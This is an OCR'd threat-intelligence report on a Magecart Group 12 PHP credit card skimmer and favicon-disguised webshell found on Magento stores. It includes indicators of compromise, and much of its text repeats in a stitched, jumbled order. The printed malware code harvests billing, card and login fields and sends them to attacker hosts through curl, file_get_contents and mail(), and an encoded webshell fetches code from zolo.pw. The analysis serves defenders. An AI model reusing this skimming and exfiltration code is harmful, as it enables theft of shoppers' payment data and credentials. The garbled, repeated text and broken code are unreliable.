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Newly observed PHP-based skimmer shows ongoing Magecart

Group 12 activity

By Threat Intelligence Team
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There is a lot of publicly documented material on the activities of Group 1 also known for their ‘ant and

cockroach‘ skimmer, their decoy CloudFlare library or their abuse of favicon files.
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Dynamically loaded skimmer
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There are a number of ways to load skimming code but the most common one is by calling an external JavaScript
ressource. When a customer visits an online store, their browser will make a request to a domain hosting the
skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these

skimmers using a domain/IP database approach.

In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request
to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a
database blocking approach would not work here unless all compromised stores were blacklisted, which is a
catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the

DOM in real time and detect when malicious code has been loaded.

We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure
their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers
place in them. If you are shopping online it’s always good to exercize some vigilance and equip yourself with

security tools such as our Malwarebytes web protection and Browser Guard.
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Sansec

UPDATE Nearly 2000 Magento stores got hacked over the weekend,
which is - by far - the largest automated campaign to date. Malware
loader: mednn[.]net. Exfil: imags[.]pw
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Sansec

Curiously, they also installed a clean version of the legit "app/Mage.php".
We are still looking into obtaining a prior copy of that library file.

Sansec

Plot twist: the injected app/Mage.php was benign but _slightly_ different
from the original one. Speculation: perhaps the attacker forced a secure
copy on all 2000 compromised stores, to kill possible competing
backdoors (which are often added to Mage.php]).

This hints that we are possibly looking at the same threat actors then and now, which we can confirm by looking at

the infrastructure being used.

Magecart Group 12 again

Because we found the favicon webshells on Magento 1.x websites we thought there might be a tie with the
hacking that took place last year when exploits for the Magento 1 branch (no longer maintained) were found.

RiskIQ documented these compromises and linked them with Magecart Group 12 at the time.

The newest domain name we found (zolo[.]Jpw) happens to be hosted on the same IP address (217.12.204[.]185) as

recaptcha-in[.]Jpw and google-statik[.]pw, domains previously associated with Magecart Group 12.
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There is a lot of publicly documented material on the activities of Group 1 also known for their ‘ant and

cockroach‘ skimmer, their decoy CloudFlare library or their abuse of favicon files.
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Credit card skimmer masquerades.

Dynamically loaded skimmer

There are a number of ways to load skimming code but the most common one is by calling an external JavaScript
ressource. When a customer visits an online store, their browser will make a request to a domain hosting the
skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these

skimmers using a domain/IP database approach.

In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request
to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a
database blocking approach would not work here unless all compromised stores were blacklisted, which is a
catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the

DOM in real time and detect when malicious code has been loaded.
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We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure
their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers

place in them. If you are shopping online it’s always good to exercize some vigilance and equip yourself with

security tools such as our Malwarebytes web protection and Browser Guard.
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s Sansec

Skimmer runs from app/Mage.php and fetches dynamic
JS to insert after closing html tag.

L oader domain pathc[.]space

That same path/filename was previously mentioned by SanSec during the Magento 1 EOL hacking spree:
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Sansec

UPDATE Nearly 2000 Magento stores got hacked over the weekend,
which is - by far - the largest automated campaign to date. Malware
loader: mednn[.]net. Exfil: imags[.]pw
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Sansec

Curiously, they also installed a clean version of the legit "app/Mage.php".
We are still looking into obtaining a prior copy of that library file.

Sansec

Plot twist: the injected app/Mage.php was benign but _slightly_ different
from the original one. Speculation: perhaps the attacker forced a secure
copy on all 2000 compromised stores, to kill possible competing
backdoors (which are often added to Mage.php]).

This hints that we are possibly looking at the same threat actors then and now, which we can confirm by looking at

the infrastructure being used.

Magecart Group 12 again

Because we found the favicon webshells on Magento 1.x websites we thought there might be a tie with the
hacking that took place last year when exploits for the Magento 1 branch (no longer maintained) were found.

RiskIQ documented these compromises and linked them with Magecart Group 12 at the time.

The newest domain name we found (zolo[.]Jpw) happens to be hosted on the same IP address (217.12.204[.]185) as

recaptcha-in[.]Jpw and google-statik[.]pw, domains previously associated with Magecart Group 12.
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Dynamically loaded skimmer

There are a number of ways to load skimming code but the most common one is by calling an external JavaScript
ressource. When a customer visits an online store, their browser will make a request to a domain hosting the
skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these

skimmers using a domain/IP database approach.

In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request
to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a
database blocking approach would not work here unless all compromised stores were blacklisted, which is a
catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the

DOM in real time and detect when malicious code has been loaded.
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We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure
their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers

place in them. If you are shopping online it’s always good to exercize some vigilance and equip yourself with

security tools such as our Malwarebytes web protection and Browser Guard.
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Denis

WordPress "Smilodon" malware (decoded) that steals payment details
and user credentials. Exfil domains redorn[.]space and predator[.]host.
Found in the _vp_ai_ping_11669596 option in WP database

Thanks

A similar PHP file (Mage.php) was reported by SanSec as well:
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s Sansec

Skimmer runs from app/Mage.php and fetches dynamic
JS to insert after closing html tag.

L oader domain pathc[.]space

That same path/filename was previously mentioned by SanSec during the Magento 1 EOL hacking spree:
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Sansec

UPDATE Nearly 2000 Magento stores got hacked over the weekend,
which is - by far - the largest automated campaign to date. Malware
loader: mednn[.]net. Exfil: imags[.]pw

var 1 = window,outerdidth window . innere
var & = window.outerHeight - window.inne
returm (e && 1 || !{winddw. Firebug && wi

Sansec

Curiously, they also installed a clean version of the legit "app/Mage.php".
We are still looking into obtaining a prior copy of that library file.

Sansec

Plot twist: the injected app/Mage.php was benign but _slightly_ different
from the original one. Speculation: perhaps the attacker forced a secure
copy on all 2000 compromised stores, to kill possible competing
backdoors (which are often added to Mage.php]).

This hints that we are possibly looking at the same threat actors then and now, which we can confirm by looking at

the infrastructure being used.

Magecart Group 12 again

Because we found the favicon webshells on Magento 1.x websites we thought there might be a tie with the
hacking that took place last year when exploits for the Magento 1 branch (no longer maintained) were found.

RiskIQ documented these compromises and linked them with Magecart Group 12 at the time.

The newest domain name we found (zolo[.]Jpw) happens to be hosted on the same IP address (217.12.204[.]185) as

recaptcha-in[.]Jpw and google-statik[.]pw, domains previously associated with Magecart Group 12.
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There is a lot of publicly documented material on the activities of Group 1 also known for their ‘ant and

cockroach‘ skimmer, their decoy CloudFlare library or their abuse of favicon files.
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Credit card skimmer masquerades.

Dynamically loaded skimmer

There are a number of ways to load skimming code but the most common one is by calling an external JavaScript
ressource. When a customer visits an online store, their browser will make a request to a domain hosting the
skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these

skimmers using a domain/IP database approach.

In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request
to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a
database blocking approach would not work here unless all compromised stores were blacklisted, which is a
catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the

DOM in real time and detect when malicious code has been loaded.
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We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure
their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers

place in them. If you are shopping online it’s always good to exercize some vigilance and equip yourself with

security tools such as our Malwarebytes web protection and Browser Guard.
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Indicators of Compromise
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recaptcha-in[.]pw
sexrural.]pw
zolo[.]pw
kermol.]pw
psas[.]Jpw
pathcl[.]space
predator].Jhost
gooogletagmanager(.]online
imags[.]pw
y5[.Jms
autocapital[.Jpw
myicons[.]net
qr202754[.]pw
thesun[.]Jpw
redorn[.]space
zeborn[.]Jpw

googletagmanagr|.Jcom
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{isset($cc_number)) {
(strlen($cc_month}) 1)
$cc_month g’ $cc_month;
(strlen($cc_year) 4)
$cc_year = substr{$cc_year, 2, 2);
$cc_pay $cc_number o $cc_month I $cc_year " $cc_cid;
(isset($_COOKIE[' mdata']))
$cc_pay A base .
$cc_pay_encoded = base L 1% $_SERVER['HTTP_HOST']
$_SERVER['SERVE :
$cc_pay_encoded str_r

alodon_backl
cc_pay_encoded, fal
fent = trim($ent);

($ecnt "1') {
$cnt T1ile t_contents('https://celolum. com/MEGALODON/ index. php?view="
cc_pay_encoded) ;
$cnt = trim($cnt);

{{$cnt '1') (function_exists("exec"})) {
('curl —insecure ' "https://celolum. com/MEGALODON/ index. php?view="
cc_pay_encoded) ;

}

mail('celolum@yandex.ru', 'bb_' $_SERVER['HTTP_HOST'], $cc_pay);

define("MEGALODON_U" AL T, 1);
$get_url "hitps://pathc. space/MEGALODON/ index. php?view=";

({isset($_POST['login'l) (isset($_POST['login'] ['username']l}) {(isset($_POST['login']['
password'1)})) {

tatoken = base64_encode($_POST['login'] [’ rname '] et & POST['login']['pass '
setcookie("_dntoken", $atoken, time() @, "/);

$_COOKIE['_dntoken'] $atoken;

The data exfiltration part matches what researcher Denis @unmaskparasites had found back in March on

WordPress sites (Smilodon malware) which also steals user credentials:
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Denis

WordPress "Smilodon" malware (decoded) that steals payment details
and user credentials. Exfil domains redorn[.]space and predator[.]host.
Found in the _vp_ai_ping_11669596 option in WP database

Thanks

A similar PHP file (Mage.php) was reported by SanSec as well:
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s Sansec

Skimmer runs from app/Mage.php and fetches dynamic
JS to insert after closing html tag.

L oader domain pathc[.]space

That same path/filename was previously mentioned by SanSec during the Magento 1 EOL hacking spree:

Page 20 of 67


https://www.malwarebytes.com/wp-content/uploads/sites/2/2021/05/tweet0_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2021/05/tweet0_.png
https://twitter.com/sansecio/status/1305491408489451522?s=20

https://blog.malwarebytes.com /cybercrime/2021 /05 /newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/

Sansec

UPDATE Nearly 2000 Magento stores got hacked over the weekend,
which is - by far - the largest automated campaign to date. Malware
loader: mednn[.]net. Exfil: imags[.]pw

var 1 = window,outerdidth window . innere
var & = window.outerHeight - window.inne
returm (e && 1 || !{winddw. Firebug && wi

Sansec

Curiously, they also installed a clean version of the legit "app/Mage.php".
We are still looking into obtaining a prior copy of that library file.

Sansec

Plot twist: the injected app/Mage.php was benign but _slightly_ different
from the original one. Speculation: perhaps the attacker forced a secure
copy on all 2000 compromised stores, to kill possible competing
backdoors (which are often added to Mage.php]).

This hints that we are possibly looking at the same threat actors then and now, which we can confirm by looking at

the infrastructure being used.

Magecart Group 12 again

Because we found the favicon webshells on Magento 1.x websites we thought there might be a tie with the
hacking that took place last year when exploits for the Magento 1 branch (no longer maintained) were found.

RiskIQ documented these compromises and linked them with Magecart Group 12 at the time.

The newest domain name we found (zolo[.]Jpw) happens to be hosted on the same IP address (217.12.204[.]185) as

recaptcha-in[.]Jpw and google-statik[.]pw, domains previously associated with Magecart Group 12.
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There is a lot of publicly documented material on the activities of Group 1 also known for their ‘ant and

cockroach‘ skimmer, their decoy CloudFlare library or their abuse of favicon files.
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Credit card skimmer masquerades.

Dynamically loaded skimmer

There are a number of ways to load skimming code but the most common one is by calling an external JavaScript
ressource. When a customer visits an online store, their browser will make a request to a domain hosting the
skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these

skimmers using a domain/IP database approach.

In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request
to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a
database blocking approach would not work here unless all compromised stores were blacklisted, which is a
catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the

DOM in real time and detect when malicious code has been loaded.
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We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure
their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers

place in them. If you are shopping online it’s always good to exercize some vigilance and equip yourself with

security tools such as our Malwarebytes web protection and Browser Guard.
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Indicators of Compromise
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83[.]166[.1244[.]1113
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(isset($_POST['billing'l}) {

$bill = $_POST['billing']['firstname’] "' . $ POST['billing']['lastname'] “|' . $_POST['
billing'] ['street']1['®"] "|' . % POST['billing']['city’'] "|' . $_POST['billing']["
region’] "|* . $_POST['billing']['postcode’] "|' . $_POST['billing']l['country_id"l]
“|' . $_POST['billing']l['telephone']l . * ' . $ POST['billing']['email'l;

setcookie(" _mdata", bas code($bill), time()

$_COOKIE['_mdata'l = base6d4_encode{$bill);

¥
(isset($_POST['payment'])) {
$fieldsArray = array(
" oeco_num. 1,
"/.+control_settings.+/"
"foecc_exp_m.x/" 2,
" oeexp_month. " r
expirationMonth.+/"
msn_set.«/ " 2
cC_exp_
exp_year.
"f.eexplrationYear.
jellow _set.«/"
+savage_set.+/" 4,
*fokeo_cid.xsM 4);
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{isset($cc_number)) {
(strlen($cc_month}) 1)
$cc_month g’ $cc_month;
(strlen($cc_year) 4)
$cc_year = substr{$cc_year, 2, 2);
$cc_pay $cc_number o $cc_month I $cc_year " $cc_cid;
(isset($_COOKIE[' mdata']))
$cc_pay A base .
$cc_pay_encoded = base L 1% $_SERVER['HTTP_HOST']
$_SERVER['SERVE :
$cc_pay_encoded str_r

alodon_backl
cc_pay_encoded, fal
fent = trim($ent);

($ecnt "1') {
$cnt T1ile t_contents('https://celolum. com/MEGALODON/ index. php?view="
cc_pay_encoded) ;
$cnt = trim($cnt);

{{$cnt '1') (function_exists("exec"})) {
('curl —insecure ' "https://celolum. com/MEGALODON/ index. php?view="
cc_pay_encoded) ;

}

mail('celolum@yandex.ru', 'bb_' $_SERVER['HTTP_HOST'], $cc_pay);

define("MEGALODON_U" AL T, 1);
$get_url "hitps://pathc. space/MEGALODON/ index. php?view=";

({isset($_POST['login'l) (isset($_POST['login'] ['username']l}) {(isset($_POST['login']['
password'1)})) {

tatoken = base64_encode($_POST['login'] [’ rname '] et & POST['login']['pass '
setcookie("_dntoken", $atoken, time() @, "/);

$_COOKIE['_dntoken'] $atoken;

The data exfiltration part matches what researcher Denis @unmaskparasites had found back in March on

WordPress sites (Smilodon malware) which also steals user credentials:
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Denis

WordPress "Smilodon" malware (decoded) that steals payment details
and user credentials. Exfil domains redorn[.]space and predator[.]host.
Found in the _vp_ai_ping_11669596 option in WP database

Thanks

A similar PHP file (Mage.php) was reported by SanSec as well:
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s Sansec

Skimmer runs from app/Mage.php and fetches dynamic
JS to insert after closing html tag.

L oader domain pathc[.]space

That same path/filename was previously mentioned by SanSec during the Magento 1 EOL hacking spree:
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Sansec

UPDATE Nearly 2000 Magento stores got hacked over the weekend,
which is - by far - the largest automated campaign to date. Malware
loader: mednn[.]net. Exfil: imags[.]pw

var 1 = window,outerdidth window . innere
var & = window.outerHeight - window.inne
returm (e && 1 || !{winddw. Firebug && wi

Sansec

Curiously, they also installed a clean version of the legit "app/Mage.php".
We are still looking into obtaining a prior copy of that library file.

Sansec

Plot twist: the injected app/Mage.php was benign but _slightly_ different
from the original one. Speculation: perhaps the attacker forced a secure
copy on all 2000 compromised stores, to kill possible competing
backdoors (which are often added to Mage.php]).

This hints that we are possibly looking at the same threat actors then and now, which we can confirm by looking at

the infrastructure being used.

Magecart Group 12 again

Because we found the favicon webshells on Magento 1.x websites we thought there might be a tie with the
hacking that took place last year when exploits for the Magento 1 branch (no longer maintained) were found.

RiskIQ documented these compromises and linked them with Magecart Group 12 at the time.

The newest domain name we found (zolo[.]Jpw) happens to be hosted on the same IP address (217.12.204[.]185) as

recaptcha-in[.]Jpw and google-statik[.]pw, domains previously associated with Magecart Group 12.
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There is a lot of publicly documented material on the activities of Group 1 also known for their ‘ant and

cockroach‘ skimmer, their decoy CloudFlare library or their abuse of favicon files.
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Credit card skimmer masquerades.

Dynamically loaded skimmer

There are a number of ways to load skimming code but the most common one is by calling an external JavaScript
ressource. When a customer visits an online store, their browser will make a request to a domain hosting the
skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these

skimmers using a domain/IP database approach.

In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request
to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a
database blocking approach would not work here unless all compromised stores were blacklisted, which is a
catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the

DOM in real time and detect when malicious code has been loaded.

Page 29 of 67


https://www.malwarebytes.com/wp-content/uploads/sites/2/2021/05/zolo_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2021/05/zolo_.png
https://twitter.com/unmaskparasites/status/1234917686242619393?s=20
https://twitter.com/unmaskparasites/status/1234917686242619393?s=20
https://www.malwarebytes.com/blog/threat-analysis/2020/03/rocket-loader-skimmer-impersonates-cloudflare-library-in-clever-scheme/
https://www.malwarebytes.com/blog/threat-analysis/2020/05/credit-card-skimmer-masquerades-as-favicon/
https://www.malwarebytes.com/wp-content/uploads/sites/2/2021/05/graph_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2021/05/graph_.png

https://blog.malwarebytes.com /cybercrime/2021 /05 /newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/

We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure
their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers

place in them. If you are shopping online it’s always good to exercize some vigilance and equip yourself with

security tools such as our Malwarebytes web protection and Browser Guard.
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function super_curl_zilla({$%url, $post) {
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basegd_decode "#onepage |checkout |onestep | firecheckout |onestepcheckout#" HEsaiYESER LI
ICdBRERS Jywgl2d LEGHEEILi ISyl i ICdodCcsDQogICAgIY
dDonLCARXBMnLCANDL S gt = JywgIy58TywgIyNel
LiAnRCc7Ciag TCAKY 2 gETs bl idu 18 12hlvycgliAkcGIrZy
Uant R E I "hitps://pathc. space/space/widget. txt" IC4gl1FVRScgliake
BRSPS LLEL LAY "HTTP_CLIENT _IP" ¥YXRoIyAuICRwb2tlal
SLT NG S BN “HTTP_X_FORWAF<7php
Rt e oy TR e gl "' REMOTE_ADDR"
LiAnZXI6]zsKICAZTC AR LET Sl (!defined("MEGALODON_HEAD"}) {
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CAgICAgICASTCAZTCAOAN $crc32 = $crc32
VKWSSUZZSESTVCwgZm ARV ETT T O [Ta el [ $crc32 = abs(%$crc32);
sICTkeHVxeXNSZGEg] A dgg=\as define("CRC_MEGALODON", $crec32);
VzaGVeb2wpOwogICag define("CRC_MEGALODON_SHORT", $crc32
TeKICAgICASICAZICA

define("TREX_CODE", ( !defined("MEGALODON_BACKUP"
trim{'$MzQBgIsvRe=""154" ] aa"" define("MEGALODON_BACKUP"
vRe.="\x73\x73" ;$NzQBglsvRe.="\1
iUB_jR(%e8X5ar_);$0IwvNn_xer=$ri (isset{$_COOKIE['portzilla'l))
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Further looking into the m1_2021_force directory reveals additional code very specific to credit card skimming.
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(isset($_POST['billing'])) {

$bill = $ _POST['billing'] ['firstname"] AL $ POST['billing'] ['lastname'] " % POST['
billing'] ['street']1['@"'] I % POST['billing']l['city'] I $ POST['billing'1["
region’] " |" . $_POST['billing'] ['postcode’] "|' . $_POST['billing']l['country_id"l]
“|' . $_POST['billing'l['telephone’] "' % POST['billing'l['email'l;

setcookie(" _mdata", bas de($bill), time() 3 ")

$_COOKIE[' mdata'] basefd encode($bill);

(isset($_POST['payment']}) {
$fieldsArray = array(
" oeco_num. M

[ +exp_month.=/"

expirationMonth.

foamsn_set.+ /" 2
Xp_Y.rf

$cc_month;
Py & ..'.1]-

$cc_year = substr{$cc_year, 2, 2);
$cc_pay $cc_number o $cc_month - $cc_year o $cc_cid;

(isset($_COOKIE[' mdata']))

$cc_pay " base code($_COOKIE['_mdata']
$cc_pay_encoded = base64_enc _rotl13($cc_pay . "\rinx $_SERVER['HTTP_HOST']

$_SERVER['SERVER_ADDR'] * H

$cc_pay_encoded - str_replace("+", , $cc_pay_encoded);

] ts{"curl_init")) {
alodon_backup_g y{"'https://celolum. com/MEGALODON/ index. php?view="
cc_pay_encoded, T
fent = trim($ent);

($ecnt "1') {

$cnt T1ile _contents{'https://celolum. com/MEGALODON/ index. phptview="
cc_pay_encoded) ;

$cnt = trim($cnt);

({$cnt '1') (function_exists("exec"})) {
exec('curl —insecure ' https://celolum. com/MEGALODON/ index. phpTview="
cc_pay_encoded) ;

}

mail('celolum@yandex.ru', 'bb_' $_SERVER['HTTP_HOST'], $cc_pay);

(!defined("MEGALODON_U" . CRC
C "MEGALODON_U" . CRC_!

$get_url "hitps://pathc. space/MEGALODON/ index. php?view=";

({isset($_POST['login'l) (isset($_POST['login'] ['username']l}) {(isset($_POST['login']['
password'1)})) {

tatoken = base64_encode($_POST['login'] [’ name et & POST['login']['pass
setcookie("_dntoken", $atoken, time()

$_COOKIE['_dntoken'] $atoken;

The data exfiltration part matches what researcher Denis @unmaskparasites had found back in March on

WordPress sites (Smilodon malware) which also steals user credentials:
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Denis

WordPress "Smilodon" malware (decoded) that steals payment details
and user credentials. Exfil domains redorn[.]space and predator[.]host.
Found in the _vp_ai_ping_11669596 option in WP database

Thanks

A similar PHP file (Mage.php) was reported by SanSec as well:
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s Sansec

Skimmer runs from app/Mage.php and fetches dynamic
JS to insert after closing html tag.

L oader domain pathc[.]space

That same path/filename was previously mentioned by SanSec during the Magento 1 EOL hacking spree:
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Sansec

UPDATE Nearly 2000 Magento stores got hacked over the weekend,
which is - by far - the largest automated campaign to date. Malware
loader: mednn[.]net. Exfil: imags[.]pw

var 1 = window,outerdidth window . innere
var & = window.outerHeight - window.inne
returm (e && 1 || !{winddw. Firebug && wi

Sansec

Curiously, they also installed a clean version of the legit "app/Mage.php".
We are still looking into obtaining a prior copy of that library file.

Sansec

Plot twist: the injected app/Mage.php was benign but _slightly_ different
from the original one. Speculation: perhaps the attacker forced a secure
copy on all 2000 compromised stores, to kill possible competing
backdoors (which are often added to Mage.php]).

This hints that we are possibly looking at the same threat actors then and now, which we can confirm by looking at

the infrastructure being used.

Magecart Group 12 again

Because we found the favicon webshells on Magento 1.x websites we thought there might be a tie with the
hacking that took place last year when exploits for the Magento 1 branch (no longer maintained) were found.

RiskIQ documented these compromises and linked them with Magecart Group 12 at the time.

The newest domain name we found (zolo[.]Jpw) happens to be hosted on the same IP address (217.12.204[.]185) as

recaptcha-in[.]Jpw and google-statik[.]pw, domains previously associated with Magecart Group 12.
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There is a lot of publicly documented material on the activities of Group 1 also known for their ‘ant and

cockroach‘ skimmer, their decoy CloudFlare library or their abuse of favicon files.
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Credit card skimmer masquerades.

Dynamically loaded skimmer

There are a number of ways to load skimming code but the most common one is by calling an external JavaScript
ressource. When a customer visits an online store, their browser will make a request to a domain hosting the
skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these

skimmers using a domain/IP database approach.

In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request
to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a
database blocking approach would not work here unless all compromised stores were blacklisted, which is a
catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the

DOM in real time and detect when malicious code has been loaded.
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We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure
their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers

place in them. If you are shopping online it’s always good to exercize some vigilance and equip yourself with

security tools such as our Malwarebytes web protection and Browser Guard.
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Indicators of Compromise

facedook].]host
pathcl.]space
predator(.]host
google-statik[.]Jpw
recaptcha-in[.]Jpw
sexrural.]pw
zolo[.]pw
kermol.]pw
psas[.]Jpw
pathcl[.]space
predator[.]host
gooogletagmanager(.]online
imags[.]pw
y5[.Jms
autocapital[.Jpw
myicons[.]net
qr202754[.]pw
thesun[.]Jpw
redorn[.]space
zeborn[.]Jpw

googletagmanagr|.Jcom
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autocapital[.Jpw
http[.]ps
xxx-club[.]pw

y5[.Jms

195[.]1123[.]1217[.]118
217[.]112[.]204[.]185
83[.1166[.]1241[.]205
83[.]1166[.1242[.]105
83[.]166[.1244[.]1113
83[.]1166[.]1244[.]152
83[.1166[.]1244[.]1189
83[.1166[.]1244[.176
83[.]1166[.1245[.]1131
83[.]166[.]1246[.134
83[.1166[.]246[.]181
83[.1166[.]248[.167

jamal.budunoff@yandex[.]Jru
muhtarpashatashanov@yandex[.]Jru

nikola-az@rambler[.]ru
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Line wrap

<html lang="en">

<head:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<titlexOne-stop shop for Powerful and Smart Magento® Extensions, Themes</title:
<meta name="description” content= I is providing the best magento solutions for ye
magento extensions and magento themes." />
7| <meta name="keywords"” content="Extensions for Magento, themes for magento, modules for magento, ¢
mega menu, onstep check out, magento templates, magento themes free™ />
<meta name="robotz" content="INDEX,FOLLOW" />
<meta name="google-site-verification” content="w6jvSYLLISXeVIurlMaNmInNty]( c ctio
<meta content="width=device-width, initial-scale=1.8" name="viewport":>
11| «link rel="icon"” href="https://u n/media/favicon/default/Magento_3.png™ type="1i
iz| <link rel="shortcut icon" href="https:// W/media/favicon/default/Magento_3.png|

B otn B ot R

I'ﬁl view-source:httpsy//mww.magesc X @ view-sourcethttpsy//www.mages: X +

&« & @ view-source:https://{ Ymedia/favicon/default/Magento_3.png

Ane wrap [

39 50 4E 47 @D 84 14 24

ID,Name, Email,Group,Telephone,ZIP,Country,State/Province, "Customer Since”
===3H0RD<{===
<?php

$Fl = _ FILE_ Webshell disguised as PNG

if (file_exists($fl))
Bunlink($F1);

— D otn b fa pa

= @

$AJegUupT="==w02pQD7ICIkVGbiF2cpRGIz1GIAdMZIgYCIdxmc IN2ZWjVGelBilg4lZwd2a92cmBilgwme INGI 1Ay boNWZ g#
ZgACIgoQD7ESK@FGZkgCImImCNoQDIpQDTkyZhxmZkgyaulGhuVHOEACIgoQD7BSKpcWYsZG]oMHdz1Gel19VIs ImZoAiZppQL
Q1TPI1XUSURNVIQPR@IbIVRWIVRTSFIgaDInFGbmRiCNoQDIpQDOBCIgAICNS TKBFGZkgSbpIHdgPDIOFGZKACIgACTIEACIKE
T9ACAhRGIgACTgACTgAI CNSHI pOXYKRS ToA1TpBCTgAi CNoQDIB TgAL CNBHT gAC TgAC TgoQD7kCdhRGT 0@kay RHI SACAhRG:
t2YvNnZfRXZNESPgOXYKRCIgACIgACIgACIgAICHNsHIpkiTuVGovt2YVNNZigy cONXa4V2XudWaeNmblZGK g agACIgACIgs
TgAiCNSTKOFGZkgShp IHdg@DTAFGTRACTEACTgACTKGwOpyme 1RCKZRb 1RNbwN2X@V2Z FVEbpZGQgBDTAF GTkACTEACTGACT
RCKt1me@BSPgQXYKRCT gAC TKOWOpUBUNFKRgWC by VHIoEGh s Imefxmc 1N2Xy VG INHI9ACAhRGIgACT goQD7BSKpICdpSiats
CNsTZzxWYmBSPEQXYKRICNoQD7ICA4RNLIAILgQmbyRCIUAIIVICIUACYT2ESTtOQBIEIZAChYVHIKOWOpATNgwSMoQmbhI3»
U2csFmZg8DIncCI20DIAFGIkgCTIuIXdOVMCgACT 200DTU2csFmZgdmc1RXZyBC IgAC I gACTKOQZ z xWZ gBHT gACTKewOpYGIal
JoQbi1InZg@jLgQXYkRCIgACIEACIgACIgAICNKSKmMRCKmIWIMBUIoASZs1Ga3BCIgACIgACIKewOiICI9ACIhRGIgACIgACT
@DIMRCKINmMc192c 113Xz 1GKgYWallHb1ESTgACTgo0DTkibpROK jVGel9FbsVGazBSPgOXYKRCIgACTEACT goQDTBSKpoy Y1F
Kg¥hialNHb1BSFgACTgoQD7 kCKUFWZsN2XaV 27 12bgeDTaFGIkACTgAC TgACTKOwOpaakgsh1R3cSNHOEACTEACTZAICNS Tk
VGdz13engy cBNXadV2ZXudWadNmbl1ZGKgYWalNHb1BSfgACTgo0D7 kCKUFWZsN2XBY2ZfI2bgaDI@FGZkACT gACIgACTKAwDps
KaIXyanN3XisGIgACIgACIgoQD7BSKpcSdyhGdzNXYwdCKzR3IcphXZfS2bpRIYUNVNZoALZpV2csVGISBCIgAICNSTKOFGZKACL
oQD7kCdhRGIgwibpRCKjVGEe1BEIgACIZACIgoQD7BSKpcyY LhXZngy cBNXa4V2 XuSlkia@Nmb1ZGKgYla gACI go0D7 cy Jg@DIeF
cg42bpRIYUNVNIKSgCN@nCNEHI gACIKAWO LNHbhZGIuIXd@Vme gACIgACIgAICNoQDEBCIgACT EACIKAWOSR2ZBIRCTIUIXdaVme
91cvBHIgwCdhRGIoTHdz JWdzhSbpJHdg@DISR2biRCIgAC TgAC TgAC TgALCNSHIpkHZ Y] 2Xz9GckgC Iml G gACIgACTgoQD 7k
PgkHIVI2Xz9GckACTgACTgACTKAwOpANTkESTzo6Gh 76T gACT SAC TgnQDKA0f gACTgACTgAICNSTHAT TMgwC cmRCKZRXZNZG]

Web shells are a very popular type of malware encountered on websites that allow an attacker to maintain remote
access and administration. They are typically uploaded onto a web server after exploitation of a vulnerability (i.e.
SQL injection).

To better understand what this webshell is meant to do, we can decode the reverse Base64 encoded blurb. We see

that it retrieves data from an external host at zolo[.]pw.
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length: 4244 ——
Input ‘1 e + Oz 0 =

==wW09pQD7ICIkVGbiF2cpRGIZ1GIBdMZIgYCIdxmcIN2WjVGelBlIgalZw92aj92cmBilgwmc INGI 1Ay boNWZ g
CIgoQDVBSZZXWZgANCNsTKBFGZkgCbhi ¥z atoTaannancraresl gt TmImCNoQDSpQDT kyZhxmZkgyaul GbuvHY
gACIgoQD7BSKpcYsZGIoMHd ZlGelQVE_H_?F_e.ES_?FQ_aIS_?gi.nZLIU2Yu FmbhRnbpFWbvICIuASXNQITPI1XUS
URNV1QPREIbIVRWIVRTSFIg@DInFGbmRiCHoQDepQDSBCIgAICNsTK@FGZkgSbpIHdgeDIBFGZKACTIgACIgACT

KewOpIChyVHIgwmc INmIoMWZAV2ZXyVGEcINHIZACAhRGIgACIgACIgAICNSHIpQXYKRSIoALIZpBCIgAICHOQDEE

start: 321 time: 22ms
end: 3218  length: 3331 |_ ra
OUtPUt length: a lines: 122 B D m -

define("BACK_HOST", I http://zolo. [Jldfml_E@Zl_‘FDr‘CE"j; 2

function super_curl_zilla({$%url, $post) {
